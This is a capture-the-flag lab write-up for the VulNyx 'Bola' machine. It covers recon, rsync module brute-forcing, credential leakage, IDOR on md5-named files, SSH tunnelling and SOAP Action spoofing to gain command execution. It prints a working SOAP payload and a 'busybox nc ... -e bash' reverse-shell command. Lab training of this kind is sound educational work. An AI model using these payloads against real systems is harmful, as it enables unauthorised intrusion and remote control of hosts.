# Bola

Introduction

Welcome to the resolution of the VulNyx Bola machine, this is another of the machines that I make for the VulNyx platform, in this case it is a machine that will be very useful to understand various techniques of web hacking, I highly recommend this machine for those who want to submit to the CBBH.&#x20;

Next we are going to see the techniques that we are going to find:

* **Information Disclosure -** Leaking Usernames **/.well-known/openid-configuration** and **security.txt.**
* **Rsync Bruteforce -** Leaking email and password in Firefox Extension (cached)
* **BOLA (Broken Object Level Authorization) or IDOR** - PDF md5 leaking internal port and password
* **WSDL (Web Services Description Language)** - SOAP Action Spoofing

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2F36SqQ0imkAmB9Hpa4bBz%2Fimage.png?alt=media&#x26;token=37eb0603-4434-46b8-a1b2-96ac2c8cc685" alt=""><figcaption></figcaption></figure>

## Recon

The first thing we have to do is to look for the IP of the swamp machine, there are several ways to do it, in this case I will do it with the fping tool that I like a lot to do the first IP recon, you can do it with `nmap`, `arp-scan` and several other tools...

```bash
nmap -sSCV -p- -T5 192.168.93.132
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-06 12:55 CET
Nmap scan report for 192.168.93.132
Host is up (0.00077s latency).
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey: 
|   256 65:bb:ae:ef:71:d4:b5:c5:8f:e7:ee:dc:0b:27:46:c2 (ECDSA)
|_  256 ea:c8:da:c8:92:71:d8:8e:08:47:c0:66:e0:57:46:49 (ED25519)
80/tcp  open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to http://bola.nyx
873/tcp open  rsync   (protocol version 32)
MAC Address: 00:0C:29:4E:5B:18 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Important information about the nmap:

```
22 -> nothing
80 --> redirect bola.nyx
873 --> rsync may be something intersting here...
```

We add the `bola.nyx` inside the `/etc/hosts` with the following command line or you just can do it manually.

```
echo "<IP> bola.nyx" >> /etc/hosts
```

### Vhost bola.nyx

Let's begin just watching what is inside bola.nyx.

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FMtk2INqb4Doy5sE2JKnC%2Fimage.png?alt=media&#x26;token=a5203d4d-5e9a-4820-bdb5-5c093b07e08f" alt=""><figcaption></figcaption></figure>

As we can see above is the VulNyx plataform but with a new feature, it seems that they have added the functionality to log in.

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FDICBwdpBvANTXkrVvWqj%2Fimage.png?alt=media&#x26;token=141fa4a3-13ba-4387-bdc3-d1a9b9de0f7e" alt=""><figcaption></figcaption></figure>

We don't have any valid credentials yet, so the next step will be fuzzing the website, before using tools like `ffuf`, `wfuzz` I always use `dirsearch` with his basic wordlist before using a wordlist of **seclists**, as `dirsearch`gives you extensions like `php, aspx, jsp, html, js` by default and it is very comfortable for basic fuzzing.

```bash
dirsearch -u http://bola.nyx
```

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FwWzx8xZJvhHRZMVKhEb8%2Fimage.png?alt=media&#x26;token=693fc540-ee6b-46d5-9329-a585a42e4ab0" alt=""><figcaption></figcaption></figure>

And we have the following directory and files:

* **/admin/admin.php** -> Redirects to `/login/login.php`.
* **download.php** -> Redirects to `/login/login.php` - we may need credentials to access it.
* **Javascript** > Directory without directory listing **403** if we access it.
* **/.well-known** Directory with 2 files:
  * security.txt
  * openid-configuration

We can't do anything with what we found, much less the `/.well-known` directory.

Before we dive in the files within `/.well-known` , let's understand what is this directory.

#### What is /.well-known directory

`.well-known` is a standard that serves as a normalised directory within the root domain of a website, usually located in **/.well-known/** on the webserver, which centralises critical metadata of a website, including configuration files and information related to its services, protocols and security mechanisms `https://example.com/.well-known/security.txt.`

I give to you the folllowing github resourse that would be helpful for you when you are facing a `/.well-known` directory, It gives you the most popular files within the mentioned directory, you can create this for a custom wordlist and use it in the future :)

{% embed url="<https://github.com/moul/awesome-well-known>" %}

### /.well-known/security.txt

This file contains contact information for security researchers to report vulnerabilities. `RFC 9116.`

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FooTkHtZURtA0MChfob6e%2Fimage.png?alt=media&#x26;token=2a14d69d-f247-48e4-b187-53436fb60b46" alt=""><figcaption></figcaption></figure>

Only has the mail we already had.

### /.well-known/openid-configuration

This file defines configuration details for OpenID Connect, an identity layer over the OAuth 2.0 protocol.

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FjPyVDeRruhuUPy2hIAsw%2Fimage.png?alt=media&#x26;token=0ffcf5cf-bfa3-4bc6-a8fa-904114680d02" alt=""><figcaption></figcaption></figure>

Contains usernames and mails:

* **d4t4s3c - d4t4s3c @nyx.com**
* **jackie0x17 - <jackie0x17@nyx.com>**
* **ct0l4 - <ct0l4@nyx.com>**

So we have listed users that may be useful for the future, when we find a password.

## Rsync

Rsync is a utility for transferring and synchronizing files between a computer and a storage drive and across networked computers by comparing the modification times and sizes of files.

### Basic enumeration

The first thing we need to do to check this service running on port 873, is the following command:

```
rsync rsync://bola.nyx/
```

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FS6DQ3JbuqYhfhkDYf20K%2Fimage.png?alt=media&#x26;token=28ee5aa6-379d-4590-b561-57c62b7e70a7" alt=""><figcaption><p>Nothing happened</p></figcaption></figure>

We need to understand how it works rsync. From behind when you install the service, the config file looks like this:

```bash
# Global config
uid = nobody
gid = nogroup
use chroot = no
max connections = 5
log file = /var/log/rsync.log
pid file = /var/run/rsyncd.pid
dont compress = *.gz *.tgz *.zip *.z *.rpm *.deb *.iso *.bz2 *.tbz

# Define the module that will share /opt
[public_files]
    path = /opt
    comment = VulNyx Public Files
    read only = yes
    list = yes
```

Where we have to look is where it says `list = yes`.

There is 2 options in the above variable:

* `list = yes` : Give the user the ability to list resources even if he/she does not know the resource name.
* `list = no` : Not give the user the ability to list resources without knowing the name of the resource.

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2F9E3IhOvMGj5DWaBwlsj9%2Fimage.png?alt=media&#x26;token=7482efa8-f59c-461f-a421-132c5485f42b" alt=""><figcaption><p>In the first command the list was on no, and the second one is on yes</p></figcaption></figure>

The machine we are facing is on "no", so if we can't list the shared modules, we need to **fuzz it**.

VulNyx has his own tool for fuzz rsync service:

{% embed url="<https://github.com/VulNyx/Arsenal/tree/main/rsync-brute>" %}

But you can make your own tool for fuzz it, like this one:

```bash
for PATH in $(cat /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt); do rsync --timeout=5 rsync://bola.nyx/$PATH &>/dev/null && "[+] Resourse found: $PATH"; done
```

I recommend the rsync-brute tool, as it sometimes crashes with the for tool and doesn't work properly :joy:.

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FjDgogd27unQSoG1RwduS%2Fimage.png?alt=media&#x26;token=ec52929a-4195-4c10-8702-b87558d21ef5" alt=""><figcaption></figcaption></figure>

```bash
./rsync-brute -t bola.nyx -p 873 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
```

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FKuWJlPg4yUxFpUkXs44w%2Fimage.png?alt=media&#x26;token=a7679c3e-8aa0-4ed1-958f-50f51d05a829" alt=""><figcaption><p>Found a shared module, extensions</p></figcaption></figure>

**rsync-brute** found a resourse called `extensions`

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FNR2mPrBZrx8nli1FttEN%2Fimage.png?alt=media&#x26;token=ab03cc18-6fac-4b9d-9545-5ebdf2ac1962" alt=""><figcaption></figcaption></figure>

Inside the extensions resourse there is 2 files:

* Password\_manager\_FirefoxExtension-VulNyx.pdf
* password\_manager.zip

```
rsync -avz rsync://bola.nyx/extensions/<file_to_download>
```

* **`-a`** → Maintains permissions, dates, owners and folder structure.
* **`-v`** → Displays each file as it is downloaded.
* **`-z`** → Compress data while transferring to make it faster.

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FZRB6gWmjE2iaOubw0ivf%2Fimage.png?alt=media&#x26;token=6e83cd8a-f8cb-4b73-96f6-33923b2788d2" alt=""><figcaption></figcaption></figure>

Let's open the .pdf and see how to install the Firefox Extension.

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FCQa1MpVCsFAxnF6weMiL%2Fimage.png?alt=media&#x26;token=86025896-de0c-44d8-b70a-b3183835fd70" alt=""><figcaption></figcaption></figure>

Go to Firefox and in the address bar we put `about:debugging#/runtime/this-firefox`

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FVvD49rnq97FHRwfnpUnn%2Fimage.png?alt=media&#x26;token=cf5928db-7f35-4ce0-b442-fd7adac77d8f" alt=""><figcaption></figcaption></figure>

Select the password\_manager.zip.

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FeTGmJaZ9aozM3EOk7N2L%2Fimage.png?alt=media&#x26;token=26f6739e-7bcb-4140-ad5e-7537412446ea" alt=""><figcaption></figcaption></figure>

Once is installed, open the extension:

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FOtMdpSHUzQn6RzJepgXo%2Fimage.png?alt=media&#x26;token=1bcd9270-00e6-4b3b-8920-ded77be8f6cf" alt=""><figcaption></figcaption></figure>

Seems like there is some credentials in the cache:

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FG6x5pF797Wep3A0pJO1X%2Fimage.png?alt=media&#x26;token=77030d08-675b-452b-8ba9-b89a1ac3ff89" alt=""><figcaption></figcaption></figure>

Now that we have found what appears to be valid credentials, we can log in to bola.nyx.

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FABYm0wDss8UAFzfo2g96%2Fimage.png?alt=media&#x26;token=c06c469d-2ee0-4b4d-9e63-e41bc9bff80f" alt=""><figcaption></figcaption></figure>

## BOLA (**Broken Object Level Authorization**) or IDOR

When we access the **VulNyx Portal Manager**, we see that we have a document with a name in md5 and that the owner is Jackie0x17.

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2F7MeIH7lYuxCFiI1RZy8m%2Fimage.png?alt=media&#x26;token=5c3bec41-d36d-47ff-ba09-5f472ee5e825" alt=""><figcaption></figcaption></figure>

When we click on it, a **PDF** is downloaded which seems to talk about a WSDL Server, we will talk about this later because it has a reference for the future.

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FO16hOSexS8MHW5pn6yku%2Fimage.png?alt=media&#x26;token=2010834b-dcac-4c48-89ef-b6d7b7f2311a" alt=""><figcaption></figcaption></figure>

If we come across a `.pdf` or any file in **md5**, the first option we have to think about is: What if they have used the user's own name to assign the file name?

I will give some examples of what we might encounter:

* `?filename=ZmlsZV8xMjQucGRm`
* `download.php?filename=c81e728d9d4c2f636f067f89cc14862c`  (our case).

You can find everything from `base64, xxd or md5`.

There are even those who can first put **jackie0x17** and put it in base64 and then base64 to md5, these are usually the combinations when we find `Hashing/Encoding` in many web apps, which are often used to mask the reference objects.

### Check if the username matches the md5

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FnoBno0HvPDS39xSYExiC%2Fimage.png?alt=media&#x26;token=0f004d09-baa2-4eb2-877d-00136b2792df" alt=""><figcaption></figcaption></figure>

Earlier in the openid-configuration we listed several users, there may be other pdfs referencing other users.

Let's try with `d4t4s3c` username.

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FAIjewys0azGOaTtQwxNQ%2Fimage.png?alt=media&#x26;token=04b81f83-e139-4dcb-9ee8-a6a1e32ee61e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FI0dNlbt39Vv5goxZMVXF%2Fimage.png?alt=media&#x26;token=0ec995df-7b8c-4452-a390-f6145b0be2d3" alt=""><figcaption></figcaption></figure>

### d4t4s3c username PDF

There is a PDF connected to d4t4s3c username in md5 and it seems to be a tutorial on how to connect to the VulNyx WSDL server.

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FfeZS39kGVb4Q1nNyd5UI%2Fimage.png?alt=media&#x26;token=49c575da-a08c-4747-835f-c5fd95633eaf" alt=""><figcaption></figcaption></figure>

Reviewing the document we found 2 very interesting things:

* A password linked to an admin username.
* A new port, seems like it's internal.

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FEWzMjutHsTKTuE8XrnSR%2Fimage.png?alt=media&#x26;token=931a9c2c-59a5-45a5-b362-c636c0dcdd38" alt=""><figcaption></figcaption></figure>

When we try to connect with ssh to the machine with d4t4s3c username, the password is valid.

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FbZujStEDO4eJ21mmw8os%2Fimage.png?alt=media&#x26;token=728f0745-6ef0-4d4b-964d-295794fef455" alt=""><figcaption></figcaption></figure>

### Port Forwading - Port 9000

Then, knowing that there is a new internal port 9000 running in the back, now that we have valid credentials, we can do a Port Forwading with ssh, so that when we connect, we create a tunnel that makes the internal port 9000 ours, and that way we can access it.

```bash
ssh -L 9000:127.0.0.1:9000 d4t4s3c@<your-ip>
```

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FeS5aizKB4ixY1jqkyOFL%2Fimage.png?alt=media&#x26;token=ab86b1cb-15de-4461-83b2-d19f45780276" alt=""><figcaption></figcaption></figure>

Once we try access to localhost:9000 shows us the WSDL Server.

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FIuqaO1IqTbuyCKsHexJ2%2Fimage.png?alt=media&#x26;token=9a4a755a-50ae-4f37-96e3-2103c71fa223" alt=""><figcaption></figcaption></figure>

## WSDL (Web Services Description Language)

Before we try to do anything with this server, we first have to know what technology we are dealing with.

* WSDL is an XML-based file exposed by web services that informs clients of the services/methods provided, including where they reside and the method calling convention.&#x20;
* The WSDL should not always be accessible, developers may not want to publicly expose a website's WSDL file, or they may expose it via an unusual location.
* &#x20;If we don't find it exposed, we can fuzz directories/parameters looking to reveal the location of this file.

In this case, we have already know that there is a WSDL file -->`/wsdl`&#x20;

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FhHpSVWcagw62Ges3ntvE%2Fimage.png?alt=media&#x26;token=256afc0e-ffc7-48e1-b195-431c6fa4ec48" alt=""><figcaption></figcaption></figure>

Before we try to exploit anything, we first need to know what does what in the XML file.

### WSDL File Breakdown

Here we have the overall file:

```xml
<definitions name="VulNyxSOAP" targetNamespace="http://localhost/wsdl/VulNyxSOAP.wsdl">
<message name="LoginRequest">
<part name="username" element="username"/>
<part name="password" element="password"/>
</message>
<message name="LoginResponse">
<part name="status" type="string"/>
</message>
<message name="ExecuteCommandRequest">
<part name="cmd" element="cmd"/>
</message>
<message name="ExecuteCommandResponse">
<part name="output" element="cmd"/>
</message>
<portType name="VulNyxSOAPPortType">
<operation name="Login">
<input message="tns:LoginRequest"/>
<output message="tns:LoginResponse"/>
</operation>
<operation name="ExecuteCommand">
<input message="tns:ExecuteCommandRequest"/>
<output message="tns:ExecuteCommandResponse"/>
</operation>
</portType>
<binding name="VulNyxSOAPBinding" type="tns:VulNyxSOAPPortType">
<soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
<operation name="Login">
<soap:operation soapAction="Login"/>
<input>
<soap:body use="literal"/>
</input>
<output>
<soap:body use="literal"/>
</output>
</operation>
<operation name="ExecuteCommand">
<soap:operation soapAction="ExecuteCommand"/>
<input>
<soap:body use="literal"/>
</input>
<output>
<soap:body use="literal"/>
</output>
</operation>
</binding>
<service name="VulNyxSOAP">
<port binding="tns:VulNyxSOAPBinding" name="VulNyxSOAPPort">
<soap:address location="http://localhost:9000/wsdl/"/>
</port>
</service>
</definitions>
```

We can see that we have several messages, operations and porttypes etc, let's structure it to know what exactly it does.

* [ ] **Definition:** The root element of all WSDL files, within the definition, the name of the service is specified, all namespaces used in the WSDL document are declared and all other elements of the service are defined.
  * [ ] *VulNyxSOAP* name of the service.
* [ ] **Messages:** Defines the input and output of the operation that the web server supports. In other words, through the messages element, the messages to be exchanged are defined and presented as a complete document or as arguments that are assigned to the invocation of a method.
  * *LoginRequest* this has a `<part>` inside that shows us the following elements:
    * [ ] `<part name="username" element="username"/>` a field to set a user.
    * [ ] `<part name="password" element="password"/>` a field to set a password.
  * *LoginResponse* has a `<part>` which is the result of the login above
    * [ ] `<part name="status" type="string"/>`
  * *ExecuteCommandRequest*
    * [ ] `<part name="cmd" element="cmd"/>` it seems that we can execute commands if we get the item --> `<cmd>`
  * *ExecuteCommandResponse*
    * [ ] `<part name="output" element="cmd"/>` response of cmd.
* [ ] **Operation** This defines the `SOAP` actions available along with the encoding of each message.&#x20;
* [ ] **PortType** Encapsulates all possible input and output messages in an operation. More specifically, it defines the web service, the available operations and the messages exchanged. Note that in *WSDL* version *2.0*, the interface element is in charge of defining the available operations and, when it comes to messages, the (data) type element is in charge of defining them.
  * [ ] Then, this PortType with name `VulNyxSOAPBinding`, inside has the element `operation`, inside has all the input and output messages we have seen above within the operation as mentioned above.
  * [ ] Once they are defined, if we look at them we will see them like this:

```xml
<portType name="VulNyxSOAPPortType">
<operation name="Login">
<input message="tns:LoginRequest"/>
<output message="tns:LoginResponse"/>
</operation>
<operation name="ExecuteCommand">
<input message="tns:ExecuteCommandRequest"/>
<output message="tns:ExecuteCommandResponse"/>
</operation>
</portType>
```

* [ ] Then we put the structure to call a `SOAP WSDL` file which has the following structure:

```xml
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                  xmlns="http://localhost/wsdl">
   <soapenv:Header/>
   <soapenv:Body>
      <ExecuteCommand>
         <cmd>blabla</cmd>
      </ExecuteCommand>
   </soapenv:Body>
</soapenv:Envelope>
```

The fields `<soapenv:Envelope` and `<soapenv:Body>` are mandatory in a call.

If we go to `localhost:9000` without entering the wsdl file, we get the structure mentioned above:

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FSo6u0mtyceJ2ta3jEZmz%2Fimage.png?alt=media&#x26;token=215c9d1f-1fbb-4395-a29e-abe6cc03c347" alt=""><figcaption></figcaption></figure>

The next thing would be to put the parameters that are in the WSDL file, referencing them and taking them from the `<operation>`.

## SOAP Action Spoofing

So now we make a request to localhost:9000 and capture it with BurpSuite and send it to Repeater.

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FPRVPborPKIZNkZZTFO9a%2Fimage.png?alt=media&#x26;token=d77f0869-1bee-4e7c-beef-19d36f3d1e6f" alt=""><figcaption></figcaption></figure>

Once in the Repeater, we change request method to POST, because to be able to send the data, it has to be done on POST.

If we send the data with the above fields, the following appears if we can execute commands:

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FgngEqSO6X6kiQ1kHnMvm%2Fimage.png?alt=media&#x26;token=3c151762-a97b-4d8f-a66f-eb53754966a3" alt=""><figcaption></figcaption></figure>

It shows that this operation can only be performed on the internal network. And now you will say, then what do we do?????

It seems that when we put `ExecuteCommand` it validates if it is on an internal network to be able to execute the command.

This is where **SOAP Action Spoofing** occurs, if the web service determines the operation to be executed based solely on the *SOAPAction* header, we can call it via a header in the request and use the `LoginRequest` operation which has no restriction when using it, and be able to execute commands.

* Add `SOAPAction: ExecutionCommand` on BurpSuite Request.
* Change the operation `<ExecuteCommand>` to `<LoginRequest>` .

```xml
SOAPAction: ExecuteCommand <-- Add this on BurpSuite Request

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                  xmlns="http://localhost/wsdl">
   <soapenv:Header/>
   <soapenv:Body>
      <LoginRequest> 
         <cmd>whoami</cmd>
      </LoginRequest>
   </soapenv:Body>
</soapenv:Envelope>
```

We manage to execute commands even with the operation restriction, simply by calling the *SOAPAction* in the request header.

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FHvGKas4dmagfw11fT9OJ%2Fimage.png?alt=media&#x26;token=23490aac-af5c-4213-9e12-c03a3f9baf93" alt=""><figcaption></figcaption></figure>

This way we can bypass the ‘Only allowed on internal networks’ and managed to execute commands.

```bash
busybox nc <your-ip> 4444 -e bash
```

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2ForFOLyc7RMtL9mNvHUqD%2Fimage.png?alt=media&#x26;token=78045dd7-af56-4353-b54e-b19b11f895ea" alt=""><figcaption></figcaption></figure>

We managed to obtain a shell

<figure><img src="https://1367155054-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqCnBDYTntMpZLlwqTWcg%2Fuploads%2FQFdkgGCq4nLpwgH6pdn0%2Fimage.png?alt=media&#x26;token=9c9c517d-733f-4cdf-a0c3-2f5a1dfebe8f" alt=""><figcaption></figcaption></figure>

## Farewell

Here ends the writeup of the Bola machine, I hope you enjoyed it and learned a lot.

This is my first writeup in English, be kind :joy:

See you and Happy Hacking! :smile:
